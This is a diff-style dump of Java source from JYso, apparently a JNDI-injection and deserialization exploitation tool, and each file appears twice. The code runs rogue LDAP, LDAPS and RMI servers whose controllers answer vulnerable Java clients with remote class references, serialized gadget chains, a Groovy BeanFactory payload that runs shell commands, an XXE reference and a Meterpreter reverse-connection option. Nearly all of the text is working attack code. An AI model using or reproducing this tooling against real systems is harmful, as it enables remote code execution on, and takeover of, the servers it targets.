log.error("e: ", e);
}
}
package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.util.ssl.KeyStoreKeyManager;
import com.unboundid.util.ssl.SSLUtil;
import com.unboundid.util.ssl.TrustAllTrustManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import static org.fusesource.jansi.Ansi.ansi;
public class LdapsServer {
private static final Logger log = LogManager.getLogger(LdapsServer.class);
private final String certFile;
private final String keyPass;
public LdapsServer(String certFile, String keyPass) {
this.certFile = certFile;
this.keyPass = keyPass;
}
public static void start() {
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
new LdapsServer(Config.certFile, Config.keyPass).run();
}
public void run() {
// 设置JDK信任证书
System.setProperty("javax.net.ssl.trustStore", certFile);
System.setProperty("javax.net.ssl.trustStorePassword", keyPass);
try {
SSLUtil serverSSLUtil = new SSLUtil(
new KeyStoreKeyManager(certFile, keyPass.toCharArray()),
new TrustAllTrustManager()
);
SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager());
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig(
"listen-ldaps",
null,
Integer.parseInt(String.valueOf(Config.ldapsPort)),
serverSSLUtil.createSSLServerSocketFactory(),
clientSSLUtil.createSSLSocketFactory()
));
config.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
} catch (Exception e) {
log.error("e: ", e);
}
}
}
+41 -41
View File
@@ -1,41 +1,41 @@
package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import org.apache.commons.collections4.map.CaseInsensitiveMap;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
public class Starter {
// 用于存储所有的ObjectPayload类
public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
public static boolean JYsoMode = false;
static {
for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) {
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
}
}
public static void main(String[] args) throws Exception {
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
if (args.length > 0 && args[0].equals("-j")) {
logo();
Config.applyCmdArgs(args);
LdapServer.start();
HTTPServer.start();
if (Config.TLSProxy) {
LdapsServer.start();
}
RMIServer.start();
}
// 如果参数中包含-y,则启动 ysoserial
if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true;
ysoserial.run(args);
}
}
}
package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import org.apache.commons.collections4.map.CaseInsensitiveMap;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
public class Starter {
// 用于存储所有的ObjectPayload类
public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
public static boolean JYsoMode = false;
static {
for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) {
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
}
}
public static void main(String[] args) throws Exception {
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
if (args.length > 0 && args[0].equals("-j")) {
logo();
Config.applyCmdArgs(args);
LdapServer.start();
HTTPServer.start();
if (Config.TLSProxy) {
LdapsServer.start();
}
RMIServer.start();
}
// 如果参数中包含-y,则启动 ysoserial
if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true;
ysoserial.run(args);
}
}
}
@@ -1,173 +1,173 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.URLDNS;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Locale;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController {
private static final Logger log = LogManager.getLogger(BasicController.class);
private static String payloadType;
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
private final String codebase = Config.codeBase;
// 存放从 LDAP 路径中解析出的命令或连接参数。
private String[] params = new String[0];
private GadgetType gadgetType;
static String getStringQ(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
}
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry entry = new Entry(base);
String className = resolvePayloadClass();
URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class");
System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset());
entry.addAttribute("javaClassName", "foo");
entry.addAttribute("javaCodeBase", codebase);
entry.addAttribute("objectClass", "javaNamingReference");
entry.addAttribute("javaFactory", className);
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI Remote Reference Links ");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
// 根据 payload 标识返回需要加载的实现类名称。
private String resolvePayloadClass() throws Exception {
if (payloadType.contains("E-")) {
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
return echoClass.getName();
}
if (payloadType.contains("M-")) {
return Gadgets.createClassB(suffixAfterDash(payloadType));
}
if (payloadType.contains("command")) {
if (params.length == 0) {
throw new IncorrectParamsException("Missing command parameters.");
}
// 待写
}
if (payloadType.contains("msf")) {
return Meterpreter.class.getName();
}
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
}
// 读取路径中的 gadget 片段并转换为枚举值。
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2);
if (segment.isEmpty()) {
return null;
}
try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
}
}
// 根据 gadget 类型构建命令行或回连配置参数。
private String[] resolveParams(String base) throws Exception {
if (gadgetType == null) {
return new String[0];
}
switch (gadgetType) {
case base64:
String cmd = Utils.getCmdFromBase(base);
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Utils.getCmdFromBase(base);
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println(" RemoteHost: " + results[0]);
System.out.println(" RemotePort: " + results[1]);
return results;
default:
return new String[0];
}
}
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
private String segment(String base, int index) {
return getStringQ(base, index);
}
// 返回连字符后的子串,用于解析自定义类名。
private String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
}
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.URLDNS;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Locale;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController {
private static final Logger log = LogManager.getLogger(BasicController.class);
private static String payloadType;
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
private final String codebase = Config.codeBase;
// 存放从 LDAP 路径中解析出的命令或连接参数。
private String[] params = new String[0];
private GadgetType gadgetType;
static String getStringQ(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
}
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry entry = new Entry(base);
String className = resolvePayloadClass();
URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class");
System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset());
entry.addAttribute("javaClassName", "foo");
entry.addAttribute("javaCodeBase", codebase);
entry.addAttribute("objectClass", "javaNamingReference");
entry.addAttribute("javaFactory", className);
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI Remote Reference Links ");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
// 根据 payload 标识返回需要加载的实现类名称。
private String resolvePayloadClass() throws Exception {
if (payloadType.contains("E-")) {
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
return echoClass.getName();
}
if (payloadType.contains("M-")) {
return Gadgets.createClassB(suffixAfterDash(payloadType));
}
if (payloadType.contains("command")) {
if (params.length == 0) {
throw new IncorrectParamsException("Missing command parameters.");
}
// 待写
}
if (payloadType.contains("msf")) {
return Meterpreter.class.getName();
}
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
}
// 读取路径中的 gadget 片段并转换为枚举值。
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2);
if (segment.isEmpty()) {
return null;
}
try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
}
}
// 根据 gadget 类型构建命令行或回连配置参数。
private String[] resolveParams(String base) throws Exception {
if (gadgetType == null) {
return new String[0];
}
switch (gadgetType) {
case base64:
String cmd = Utils.getCmdFromBase(base);
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Utils.getCmdFromBase(base);
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println(" RemoteHost: " + results[0]);
System.out.println(" RemotePort: " + results[1]);
return results;
default:
return new String[0];
}
}
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
private String segment(String base, int index) {
return getStringQ(base, index);
}
// 返回连字符后的子串,用于解析自定义类名。
private String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
}
}
@@ -1,72 +1,72 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
/*
* Requires:
* - Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*
* Groovy 语法参考:
* - https://xz.aliyun.com/t/8231#toc-7
* - https://my.oschina.net/jjyuangu/blog/1815945
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/
@LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController {
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Reference Links + Groovy");
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
/*
* Requires:
* - Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*
* Groovy 语法参考:
* - https://xz.aliyun.com/t/8231#toc-7
* - https://my.oschina.net/jjyuangu/blog/1815945
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/
@LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController {
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Reference Links + Groovy");
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -1,13 +1,13 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController {
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController {
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
}
@@ -1,12 +1,12 @@
package com.qi4l.JYso.controllers;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface LdapMapping {
String[] uri();
}
package com.qi4l.JYso.controllers;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface LdapMapping {
String[] uri();
}
@@ -1,65 +1,65 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/memoryxxe"})
public class MemoryXXEController implements LdapController {
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", params[0]));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/memoryxxe"})
public class MemoryXXEController implements LdapController {
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", params[0]));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -1,118 +1,118 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
@LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController {
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
public static String gadgetType;
public static String cmd11;
public static GadgetType gadgetType1;
private String params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
byte[] bytes;
try {
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(params);
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
bytes = (byte[]) object;
} else {
ByteArrayOutputStream out = new ByteArrayOutputStream();
bytes = Serializer.serialize(object, out);
}
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", bytes);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
System.out.println("- JNDI Deserialization Links ");
try {
base = base.replace('\\', '/');
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
try {
gadgetType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
int fourIndex = base.indexOf("/", thirdIndex + 1);
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
// 若第三个斜杠不存在,则把其设置成为字符串的长度
if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType;
try {
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
if (payloadType == PayloadType.sethttp) {
params = BCEL1;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
}
if (payloadType == PayloadType.command) {
if (gadgetType1 == GadgetType.base64) {
cmd11 = Utils.getCmdFromBase(base);
}
if (gadgetType1 == GadgetType.base64Two) {
String encodedString = Utils.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
String T1 = new String(decodedBytes);
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
cmd11 = new String(decodedBytes1);
}
params = cmd11;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
